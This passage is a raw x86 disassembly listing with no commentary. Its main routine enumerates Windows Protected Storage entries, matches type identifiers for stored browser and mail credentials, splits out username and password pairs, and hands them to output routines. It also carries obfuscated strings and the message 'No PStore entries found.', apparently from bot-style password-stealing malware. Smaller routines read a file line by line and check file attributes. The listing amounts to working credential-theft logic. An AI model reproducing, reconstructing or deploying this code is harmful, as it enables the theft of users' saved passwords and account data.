		jz	short loc_423C0C
		cmp	al, 29h
		jz	short loc_423C0C
		cmp	al, 2Eh
		jz	short loc_423C0C
		cmp	al, 20h
		jz	short loc_423C0C
		cmp	al, 2Dh
		jnz	short loc_423C2E


loc_423C0C:				; CODE XREF: sub_423919+2D3j
					; sub_423919+2E1j ...
		mov	eax, dword_673688
		mov	ecx, [ebp+var_4]
		imul	eax, 12Ch
		mov	edx, [ebp+var_C]
		mov	cl, [ebp+ecx+var_C4]
		inc	[ebp+var_C]
		mov	byte_66FC54[eax+edx], cl


loc_423C2E:				; CODE XREF: sub_423919+2F1j
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jb	short loc_423BD9


loc_423C39:				; CODE XREF: sub_423919+181j
					; sub_423919+1E7j ...
		mov	eax, dword_673688
		mov	ecx, [ebp+var_C]
		imul	eax, 12Ch
		mov	byte_66FC54[eax+ecx], bl


loc_423C4E:				; CODE XREF: sub_423919+16Fj
					; sub_423919+2ACj
		push	esi
		lea	eax, [ebp+var_C4]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		inc	dword_673688


loc_423C65:				; CODE XREF: sub_423919+20Cj
		inc	[ebp+var_18]
		cmp	[ebp+var_20], 103h
		jnz	loc_423981
		pop	esi


loc_423C76:				; CODE XREF: sub_423919+52j
		pop	edi
		pop	ebx
		leave
		retn
sub_423919	endp


; =============== S U B	R O U T	I N E =======================================



sub_423C7A	proc near		; CODE XREF: sub_423846+9Dp
		mov	eax, offset loc_436680
		call	sub_42B7CC
		sub	esp, 0DF0h
		push	ebx
		push	esi
		push	edi
		push	offset aProtectedstora ; "ProtectedStorage"
		call	sub_42806A
		test	eax, eax
		pop	ecx
		jnz	short loc_423CEF
		cmp	[ebp+14h], eax
		mov	edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		mov	ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		mov	esi, offset dword_45026C
		jnz	short loc_423CCF
		cmp	[ebp+18h], eax
		jnz	short loc_423CD9
		cmp	[ebp+1Ch], eax
		jz	loc_423E25
		push	edi
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CE4A
		add	esp, 14h


loc_423CCF:				; CODE XREF: sub_423C7A+34j
		cmp	dword ptr [ebp+18h], 0
		jz	loc_423E25


loc_423CD9:				; CODE XREF: sub_423C7A+39j
		push	edi
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CDD4
		add	esp, 14h
		jmp	loc_423E25
; ---------------------------------------------------------------------------


loc_423CEF:				; CODE XREF: sub_423C7A+20j
		call	sub_428017
		xor	esi, esi
		mov	[ebp-14h], esi
		push	esi
		push	esi
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		mov	[ebp-4], esi
		mov	[ebp-10h], esi
		call	dword_456F0C
		cmp	eax, esi
		jge	short loc_423D73
		xor	eax, eax
		mov	ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		cmp	[ebp+14h], eax
		mov	edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		mov	esi, offset aSSD_0 ; "%s %s: <%d>"
		jnz	short loc_423D4C
		cmp	[ebp+18h], eax
		jnz	short loc_423D56
		cmp	[ebp+1Ch], eax
		jz	loc_423E14
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	edi
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CE4A
		add	esp, 18h


loc_423D4C:				; CODE XREF: sub_423C7A+AAj
		cmp	dword ptr [ebp+18h], 0
		jz	loc_423E14


loc_423D56:				; CODE XREF: sub_423C7A+AFj
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	edi
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CDD4
		add	esp, 18h
		jmp	loc_423E14
; ---------------------------------------------------------------------------


loc_423D73:				; CODE XREF: sub_423C7A+94j
		cmp	[ebp-10h], esi
		mov	byte ptr [ebp-4], 1
		mov	[ebp-20h], esi
		jnz	short loc_423D89
		push	80004003h
		call	sub_429260


loc_423D89:				; CODE XREF: sub_423C7A+103j
		mov	edi, [ebp-10h]
		lea	ecx, [ebp-20h]
		push	ecx
		push	esi
		mov	eax, [edi]
		push	esi
		push	edi
		call	dword ptr [eax+38h]
		cmp	eax, esi
		jge	loc_423E2C
		push	offset dword_45025C
		push	edi
		push	eax
		call	sub_42926E
		cmp	dword ptr [ebp+14h], 0
		mov	ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		mov	edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		mov	esi, offset aSSD_0 ; "%s %s: <%d>"
		jnz	short loc_423DE5
		cmp	dword ptr [ebp+18h], 0
		jnz	short loc_423DEB
		cmp	dword ptr [ebp+1Ch], 0
		jz	short loc_423E03
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	edi
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CE4A
		add	esp, 18h


loc_423DE5:				; CODE XREF: sub_423C7A+145j
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_423E03


loc_423DEB:				; CODE XREF: sub_423C7A+14Bj
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	edi
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CDD4
		add	esp, 18h


loc_423E03:				; CODE XREF: sub_423C7A+151j
					; sub_423C7A+16Fj
		mov	eax, [ebp-20h]
		and	byte ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_423E14
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_423E14:				; CODE XREF: sub_423C7A+B4j
					; sub_423C7A+D6j ...
		mov	eax, [ebp-10h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_423E25
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_423E25:				; CODE XREF: sub_423C7A+3Ej
					; sub_423C7A+59j ...
		xor	eax, eax
		jmp	loc_4245DE
; ---------------------------------------------------------------------------


loc_423E2C:				; CODE XREF: sub_423C7A+120j
		mov	ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"


loc_423E31:				; CODE XREF: sub_423C7A+8F0j
					; sub_423C7A+8FCj
		xor	edi, edi
		cmp	[ebp-20h], edi
		jnz	short loc_423E42
		push	80004003h
		call	sub_429260


loc_423E42:				; CODE XREF: sub_423C7A+1BCj
		mov	eax, [ebp-20h]
		lea	edx, [ebp-40h]
		push	edi
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_42457B
		sub	esp, 10h
		lea	esi, [ebp-40h]
		mov	edi, esp
		lea	eax, [ebp-84h]
		movsd
		movsd
		movsd
		push	offset asc_450258 ; "%x"
		push	eax
		movsd
		call	dword_437278	; wsprintfA
		add	esp, 18h
		and	dword ptr [ebp-2Ch], 0
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 2
		jnz	short loc_423E93
		push	80004003h
		call	sub_429260


loc_423E93:				; CODE XREF: sub_423C7A+20Dj
		mov	esi, [ebp-10h]
		lea	ecx, [ebp-2Ch]
		push	ecx
		lea	ecx, [ebp-40h]
		mov	eax, [esi]
		push	0
		push	ecx
		push	0
		push	esi
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jge	short loc_423EB8
		push	offset dword_45025C
		push	esi
		push	eax
		call	sub_42926E


loc_423EB8:				; CODE XREF: sub_423C7A+230j
		mov	edi, offset byte_454A54


loc_423EBD:				; CODE XREF: sub_423C7A+8D6j
					; sub_423C7A+8E2j
		xor	esi, esi
		cmp	[ebp-2Ch], esi
		jnz	short loc_423ECE
		push	80004003h
		call	sub_429260


loc_423ECE:				; CODE XREF: sub_423C7A+248j
		mov	eax, [ebp-2Ch]
		lea	edx, [ebp-50h]
		push	esi
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_424561
		cmp	[ebp-10h], esi
		mov	byte ptr [ebp-4], 3
		mov	[ebp-28h], esi
		jnz	short loc_423EFC
		push	80004003h
		call	sub_429260


loc_423EFC:				; CODE XREF: sub_423C7A+276j
		mov	esi, [ebp-10h]
		lea	ecx, [ebp-28h]
		push	ecx
		lea	ecx, [ebp-50h]
		mov	eax, [esi]
		push	0
		push	ecx
		lea	ecx, [ebp-40h]
		push	ecx
		push	0
		push	esi
		call	dword ptr [eax+54h]
		test	eax, eax
		jge	short loc_423F25
		push	offset dword_45025C
		push	esi
		push	eax
		call	sub_42926E


loc_423F25:				; CODE XREF: sub_423C7A+29Dj
					; sub_423C7A+8C8j
		xor	esi, esi
		cmp	[ebp-28h], esi
		jnz	short loc_423F36
		push	80004003h
		call	sub_429260


loc_423F36:				; CODE XREF: sub_423C7A+2B0j
		mov	eax, [ebp-28h]
		lea	edx, [ebp-30h]
		push	esi
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_424547
		push	dword ptr [ebp-30h]
		lea	eax, [ebp-614h]
		push	offset aWs	; "%ws"
		push	eax
		call	dword_437278	; wsprintfA
		add	esp, 0Ch
		cmp	[ebp-10h], esi
		mov	[ebp-24h], esi
		mov	[ebp-18h], esi
		jnz	short loc_423F7B
		push	80004003h
		call	sub_429260


loc_423F7B:				; CODE XREF: sub_423C7A+2F5j
		xor	eax, eax
		lea	edx, [ebp-18h]
		push	eax
		push	eax
		push	edx
		mov	esi, [ebp-10h]
		lea	edx, [ebp-24h]
		push	edx
		mov	ecx, [esi]
		push	dword ptr [ebp-30h]
		lea	edx, [ebp-50h]
		push	edx
		lea	edx, [ebp-40h]
		push	edx
		push	eax
		push	esi
		call	dword ptr [ecx+44h]
		test	eax, eax
		jge	short loc_423FAC
		push	offset dword_45025C
		push	esi
		push	eax
		call	sub_42926E


loc_423FAC:				; CODE XREF: sub_423C7A+324j
		push	dword ptr [ebp-18h]
		call	dword_437088	; lstrlenA
		mov	esi, [ebp-24h]
		lea	ecx, [esi-1]
		cmp	eax, ecx
		jnb	short loc_423FF3
		xor	ecx, ecx
		xor	edx, edx
		test	esi, esi
		jbe	short loc_423FE9


loc_423FC7:				; CODE XREF: sub_423C7A+36Dj
		mov	eax, [ebp-18h]
		mov	al, [edx+eax]
		test	al, al
		jnz	short loc_423FDB
		mov	byte ptr [ebp+ecx-414h], 2Ch
		jmp	short loc_423FE2
; ---------------------------------------------------------------------------


loc_423FDB:				; CODE XREF: sub_423C7A+355j
		mov	[ebp+ecx-414h],	al


loc_423FE2:				; CODE XREF: sub_423C7A+35Fj
		inc	ecx
		inc	edx
		inc	edx
		cmp	edx, esi
		jb	short loc_423FC7


loc_423FE9:				; CODE XREF: sub_423C7A+34Bj
		and	byte ptr [ebp+ecx-415h], 0
		jmp	short loc_42400B
; ---------------------------------------------------------------------------


loc_423FF3:				; CODE XREF: sub_423C7A+343j
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-414h]
		push	offset aS_5	; "%s"
		push	eax
		call	dword_437278	; wsprintfA
		add	esp, 0Ch


loc_42400B:				; CODE XREF: sub_423C7A+377j
		mov	esi, dword_4370B4
		lea	eax, [ebp-0DFCh]
		push	edi
		push	eax
		call	esi ; dword_4370B4
		lea	eax, [ebp-814h]
		push	edi
		push	eax
		call	esi ; dword_4370B4
		lea	eax, [ebp-84h]
		push	offset a5e7e8100 ; "5e7e8100"
		push	eax
		call	dword_4370FC	; lstrcmpA
		test	eax, eax
		jnz	loc_4240FA
		lea	eax, [ebp-1B0h]
		push	edi
		push	eax
		call	esi ; dword_4370B4
		lea	eax, [ebp-414h]
		push	offset asc_446E08 ; ":"
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_424094
		lea	eax, [ebp-414h]
		push	offset asc_446E08 ; ":"
		push	eax
		call	sub_42AEA0
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-1B0h]
		push	eax
		call	esi ; dword_4370B4
		lea	eax, [ebp-414h]
		push	offset asc_446E08 ; ":"
		push	eax
		call	sub_42AEA0
		and	byte ptr [eax],	0
		pop	ecx
		pop	ecx


loc_424094:				; CODE XREF: sub_423C7A+3E4j
		inc	dword ptr [ebp-14h]
		lea	eax, [ebp-414h]
		push	edi
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_4240BB
		lea	eax, [ebp-1B0h]
		push	edi
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_4240C1


loc_4240BB:				; CODE XREF: sub_423C7A+42Dj
		cmp	dword ptr [ebp+1Ch], 0
		jz	short loc_4240FA


loc_4240C1:				; CODE XREF: sub_423C7A+43Fj
		lea	eax, [ebp-1B0h]
		cmp	dword ptr [ebp+18h], 0
		push	eax
		lea	eax, [ebp-414h]
		push	eax
		lea	eax, [ebp-614h]
		push	eax
		push	ebx
		push	offset dword_45021C
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		jnz	short loc_4240F2
		call	sub_41CF4C
		jmp	short loc_4240F7
; ---------------------------------------------------------------------------


loc_4240F2:				; CODE XREF: sub_423C7A+46Fj
		call	sub_41CFE0


loc_4240F7:				; CODE XREF: sub_423C7A+476j
		add	esp, 20h


loc_4240FA:				; CODE XREF: sub_423C7A+3BFj
					; sub_423C7A+445j
		lea	eax, [ebp-84h]
		push	offset aE161255a ; "e161255a"
		push	eax
		call	dword_4370FC	; lstrcmpA
		test	eax, eax
		jnz	loc_42425D
		lea	eax, [ebp-614h]
		push	offset aStringindex ; "StringIndex"
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_42425D
		lea	eax, [ebp-614h]
		push	offset dword_4501FC
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42415C
		lea	eax, [ebp-614h]
		push	offset dword_4501FC
		push	eax
		call	sub_42AEA0
		and	byte ptr [eax],	0
		pop	ecx
		pop	ecx


loc_42415C:				; CODE XREF: sub_423C7A+4CAj
		lea	eax, [ebp-614h]
		push	8
		push	eax
		lea	eax, [ebp-1B0h]
		push	eax
		call	dword_43712C	; lstrcpynA
		lea	eax, [ebp-1B0h]
		push	offset dword_4501F4
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4241A4
		lea	eax, [ebp-1B0h]
		push	offset dword_4501EC
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42425D


loc_4241A4:				; CODE XREF: sub_423C7A+50Dj
		lea	eax, [ebp-1B0h]
		push	edi
		push	eax
		call	esi ; dword_4370B4
		lea	eax, [ebp-414h]
		push	offset dword_44F120
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4241F9
		lea	eax, [ebp-414h]
		push	offset dword_44F120
		push	eax
		call	sub_42AEA0
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-1B0h]
		push	eax
		call	esi ; dword_4370B4
		lea	eax, [ebp-414h]
		push	offset dword_44F120
		push	eax
		call	sub_42AEA0
		and	byte ptr [eax],	0
		pop	ecx
		pop	ecx


loc_4241F9:				; CODE XREF: sub_423C7A+549j
		mov	esi, dword_437178
		inc	dword ptr [ebp-14h]
		lea	eax, [ebp-414h]
		push	edi
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_42421E
		lea	eax, [ebp-1B0h]
		push	edi
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_424224


loc_42421E:				; CODE XREF: sub_423C7A+594j
		cmp	dword ptr [ebp+1Ch], 0
		jz	short loc_42425D


loc_424224:				; CODE XREF: sub_423C7A+5A2j
		lea	eax, [ebp-1B0h]
		cmp	dword ptr [ebp+18h], 0
		push	eax
		lea	eax, [ebp-414h]
		push	eax
		lea	eax, [ebp-614h]
		push	eax
		push	ebx
		push	offset dword_4501C8
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		jnz	short loc_424255
		call	sub_41CF4C
		jmp	short loc_42425A
; ---------------------------------------------------------------------------


loc_424255:				; CODE XREF: sub_423C7A+5D2j
		call	sub_41CFE0


loc_42425A:				; CODE XREF: sub_423C7A+5D9j
		add	esp, 20h


loc_42425D:				; CODE XREF: sub_423C7A+494j
					; sub_423C7A+4AFj ...
		lea	eax, [ebp-84h]
		push	offset aB9819c52 ; "b9819c52"
		push	eax
		call	dword_4370FC	; lstrcmpA
		test	eax, eax
		jnz	loc_4243FC
		mov	eax, [ebp-18h]
		xor	esi, esi
		xor	edi, edi
		cmp	[ebp-24h], esi
		jbe	short loc_4242C6


loc_424283:				; CODE XREF: sub_423C7A+64Aj
		mov	cl, [esi+eax]
		test	cl, cl
		jnz	short loc_424294
		mov	byte ptr [ebp+edi-414h], 2Ch
		jmp	short loc_4242BE
; ---------------------------------------------------------------------------


loc_424294:				; CODE XREF: sub_423C7A+60Ej
		push	ecx
		call	dword_437268	; IsCharAlphaNumericA
		test	eax, eax
		mov	eax, [ebp-18h]
		jnz	short loc_4242B4
		mov	cl, [esi+eax]
		cmp	cl, 40h
		jz	short loc_4242B4
		cmp	cl, 2Eh
		jz	short loc_4242B4
		cmp	cl, 5Fh
		jnz	short loc_4242BF


loc_4242B4:				; CODE XREF: sub_423C7A+626j
					; sub_423C7A+62Ej ...
		mov	cl, [esi+eax]
		mov	[ebp+edi-414h],	cl


loc_4242BE:				; CODE XREF: sub_423C7A+618j
		inc	edi


loc_4242BF:				; CODE XREF: sub_423C7A+638j
		inc	esi
		inc	esi
		cmp	esi, [ebp-24h]
		jb	short loc_424283


loc_4242C6:				; CODE XREF: sub_423C7A+607j
		and	byte ptr [ebp+edi-415h], 0
		and	dword ptr [ebp-1Ch], 0
		cmp	byte ptr [eax+4], 0
		lea	esi, [ebp-412h]
		jbe	loc_4243FC
		mov	edi, offset dword_44F120


loc_4242E7:				; CODE XREF: sub_423C7A+77Cj
		inc	esi
		lea	eax, [ebp-214h]
		push	esi
		push	eax
		call	dword_4370B4	; lstrcpyA
		lea	eax, [ebp-214h]
		push	edi
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42431B
		lea	eax, [ebp-214h]
		push	edi
		push	eax
		call	sub_42AEA0
		and	byte ptr [eax],	0
		pop	ecx
		pop	ecx


loc_42431B:				; CODE XREF: sub_423C7A+68Dj
		push	edi
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_424341
		push	edi
		push	esi
		call	sub_42AEA0
		pop	ecx
		inc	eax
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0E8h]
		push	eax
		call	dword_4370B4	; lstrcpyA


loc_424341:				; CODE XREF: sub_423C7A+6ACj
		lea	eax, [ebp-0E8h]
		push	edi
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_424366
		lea	eax, [ebp-0E8h]
		push	edi
		push	eax
		call	sub_42AEA0
		and	byte ptr [eax],	0
		pop	ecx
		pop	ecx


loc_424366:				; CODE XREF: sub_423C7A+6D8j
		push	edi
		push	esi
		call	sub_42AEA0
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp-0E8h]
		push	eax
		call	dword_437088	; lstrlenA
		lea	esi, [esi+eax+9]
		lea	eax, [ebp-0E8h]
		push	offset byte_454A54
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_4243AE
		lea	eax, [ebp-214h]
		push	offset byte_454A54
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_4243B4


loc_4243AE:				; CODE XREF: sub_423C7A+71Cj
		cmp	dword ptr [ebp+1Ch], 0
		jz	short loc_4243E9


loc_4243B4:				; CODE XREF: sub_423C7A+732j
		lea	eax, [ebp-0E8h]
		inc	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-214h]
		push	eax
		push	ebx
		cmp	dword ptr [ebp+18h], 0
		push	offset dword_450194
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		jnz	short loc_4243E1
		call	sub_41CF4C
		jmp	short loc_4243E6
; ---------------------------------------------------------------------------


loc_4243E1:				; CODE XREF: sub_423C7A+75Ej
		call	sub_41CFE0


loc_4243E6:				; CODE XREF: sub_423C7A+765j
		add	esp, 1Ch


loc_4243E9:				; CODE XREF: sub_423C7A+738j
		mov	eax, [ebp-18h]
		inc	dword ptr [ebp-1Ch]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-1Ch], eax
		jl	loc_4242E7


loc_4243FC:				; CODE XREF: sub_423C7A+5F7j
					; sub_423C7A+662j
		lea	eax, [ebp-84h]
		push	offset a220d5cc1 ; "220d5cc1"
		push	eax
		call	dword_4370FC	; lstrcmpA
		test	eax, eax
		jnz	loc_424517
		xor	esi, esi
		mov	edi, offset byte_454A54
		cmp	dword_673688, esi
		jle	short loc_424462
		mov	dword ptr [ebp-1Ch], offset byte_66FC54


loc_42442C:				; CODE XREF: sub_423C7A+7E6j
		lea	eax, [ebp-614h]
		push	eax
		push	dword ptr [ebp-1Ch]
		call	dword_4370FC	; lstrcmpA
		test	eax, eax
		jnz	short loc_424452
		lea	eax, [ebp-414h]
		push	edi
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_424491


loc_424452:				; CODE XREF: sub_423C7A+7C4j
		add	dword ptr [ebp-1Ch], 12Ch
		inc	esi
		cmp	esi, dword_673688
		jl	short loc_42442C


loc_424462:				; CODE XREF: sub_423C7A+7A9j
		lea	eax, [ebp-414h]
		push	edi
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_4244D5
		mov	eax, esi
		push	edi
		imul	eax, 12Ch
		mov	edi, offset dword_66FBF0
		add	eax, edi
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_4244E0
		jmp	short loc_4244DA
; ---------------------------------------------------------------------------


loc_424491:				; CODE XREF: sub_423C7A+7D6j
		imul	esi, 12Ch
		lea	eax, [ebp-414h]
		inc	dword ptr [ebp-14h]
		push	eax
		lea	eax, dword_66FBF0[esi]
		push	eax
		lea	eax, dword_66FCB8[esi]
		push	eax
		push	ebx
		cmp	dword ptr [ebp+18h], 0
		push	offset dword_45015C
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		jnz	short loc_4244CE
		call	sub_41CF4C


loc_4244C9:				; CODE XREF: sub_423C7A+859j
		add	esp, 20h
		jmp	short loc_424517
; ---------------------------------------------------------------------------


loc_4244CE:				; CODE XREF: sub_423C7A+848j
		call	sub_41CFE0
		jmp	short loc_4244C9
; ---------------------------------------------------------------------------


loc_4244D5:				; CODE XREF: sub_423C7A+7F8j
		mov	edi, offset dword_66FBF0


loc_4244DA:				; CODE XREF: sub_423C7A+815j
		cmp	dword ptr [ebp+1Ch], 0
		jz	short loc_424517


loc_4244E0:				; CODE XREF: sub_423C7A+813j
		imul	esi, 12Ch
		lea	eax, [ebp-414h]
		add	esi, edi
		push	eax
		inc	dword ptr [ebp-14h]
		push	esi
		push	ebx
		cmp	dword ptr [ebp+18h], 0
		push	offset dword_45012C
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		jnz	short loc_42450F
		call	sub_41CF4C
		jmp	short loc_424514
; ---------------------------------------------------------------------------


loc_42450F:				; CODE XREF: sub_423C7A+88Cj
		call	sub_41CFE0


loc_424514:				; CODE XREF: sub_423C7A+893j
		add	esp, 1Ch


loc_424517:				; CODE XREF: sub_423C7A+796j
					; sub_423C7A+852j ...
		mov	esi, 200h
		lea	eax, [ebp-614h]
		push	esi
		push	0
		push	eax
		call	sub_429760
		push	esi
		lea	eax, [ebp-414h]
		push	0
		push	eax
		call	sub_429760
		add	esp, 18h
		mov	edi, offset byte_454A54
		jmp	loc_423F25
; ---------------------------------------------------------------------------


loc_424547:				; CODE XREF: sub_423C7A+2CEj
		mov	eax, [ebp-28h]
		mov	byte ptr [ebp-4], 2
		cmp	eax, esi
		jz	loc_423EBD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_423EBD
; ---------------------------------------------------------------------------


loc_424561:				; CODE XREF: sub_423C7A+266j
		mov	eax, [ebp-2Ch]
		mov	byte ptr [ebp-4], 1
		cmp	eax, esi
		jz	loc_423E31
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_423E31
; ---------------------------------------------------------------------------


loc_42457B:				; CODE XREF: sub_423C7A+1DAj
		cmp	[ebp-14h], edi
		jnz	short loc_4245B9
		cmp	[ebp+14h], edi
		mov	esi, offset aSNoPstoreEntri ; "%s No PStore entries found."
		jnz	short loc_4245A4
		cmp	[ebp+18h], edi
		jnz	short loc_4245A9
		cmp	[ebp+1Ch], edi
		jz	short loc_4245B9
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CE4A
		add	esp, 10h


loc_4245A4:				; CODE XREF: sub_423C7A+90Ej
		cmp	[ebp+18h], edi
		jz	short loc_4245B9


loc_4245A9:				; CODE XREF: sub_423C7A+913j
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CDD4
		add	esp, 10h


loc_4245B9:				; CODE XREF: sub_423C7A+904j
					; sub_423C7A+918j ...
		mov	eax, [ebp-20h]
		and	byte ptr [ebp-4], 0
		cmp	eax, edi
		jz	short loc_4245CA
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4245CA:				; CODE XREF: sub_423C7A+948j
		mov	eax, [ebp-10h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	eax, edi
		jz	short loc_4245DB
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4245DB:				; CODE XREF: sub_423C7A+959j
		xor	eax, eax
		inc	eax


loc_4245DE:				; CODE XREF: sub_423C7A+1ADj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_423C7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4245ED	proc near		; CODE XREF: sub_424B0B+8Dp

arg_0		= dword	ptr  4

		and	dword_673690, 0
		and	dword_67368C, 0
		push	offset word_43EF70
		push	[esp+4+arg_0]
		call	sub_42A50C
		pop	ecx
		mov	dword_6737CC, eax
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		mov	eax, ecx
		retn
sub_4245ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_42461A	proc near		; CODE XREF: sub_424666:loc_424671p
		mov	eax, dword_673690
		cmp	eax, dword_67368C
		jl	short loc_424654
		push	dword_6737CC
		and	dword_673690, 0
		push	2800h
		push	1
		push	offset byte_66D3E8
		call	sub_42A188
		add	esp, 10h
		mov	dword_67368C, eax
		test	eax, eax
		jg	short loc_424654
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_42461A+Bj
					; sub_42461A+35j
		mov	eax, dword_673690
		inc	dword_673690
		mov	al, byte_66D3E8[eax]
		retn
sub_42461A	endp


; =============== S U B	R O U T	I N E =======================================



sub_424666	proc near		; CODE XREF: sub_424B0B+A9p
					; sub_424B0B+B6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		and	byte ptr [edi],	0


loc_424671:				; CODE XREF: sub_424666+1Fj
					; sub_424666+25j ...
		call	sub_42461A
		movsx	eax, al
		test	eax, eax
		jz	short loc_4246AC
		cmp	eax, 0Ah
		jz	short loc_4246A2
		cmp	eax, 0Dh
		jz	short loc_424671
		xor	ecx, ecx


loc_424689:				; CODE XREF: sub_424666+38j
		test	al, al
		jz	short loc_424671
		cmp	esi, [esp+8+arg_4]
		jge	short loc_4246AC
		mov	[esi+edi], al
		inc	esi
		shr	eax, 8
		inc	ecx
		cmp	ecx, 4
		jl	short loc_424689
		jmp	short loc_424671
; ---------------------------------------------------------------------------


loc_4246A2:				; CODE XREF: sub_424666+1Aj
		and	byte ptr [esi+edi], 0
		xor	eax, eax
		inc	eax


loc_4246A9:				; CODE XREF: sub_424666+48j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4246AC:				; CODE XREF: sub_424666+15j
					; sub_424666+2Bj
		xor	eax, eax
		jmp	short loc_4246A9
sub_424666	endp


; =============== S U B	R O U T	I N E =======================================



sub_4246B0	proc near		; CODE XREF: sub_425092+D9p
					; sub_425092+EFp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43706C	; GetFileAttributesA
		movzx	eax, al
		shr	eax, 4
		and	eax, 1
		retn
sub_4246B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4246C4	proc near		; CODE XREF: sub_424EAB+DFp

arg_0		= dword	ptr  4

		push	esi
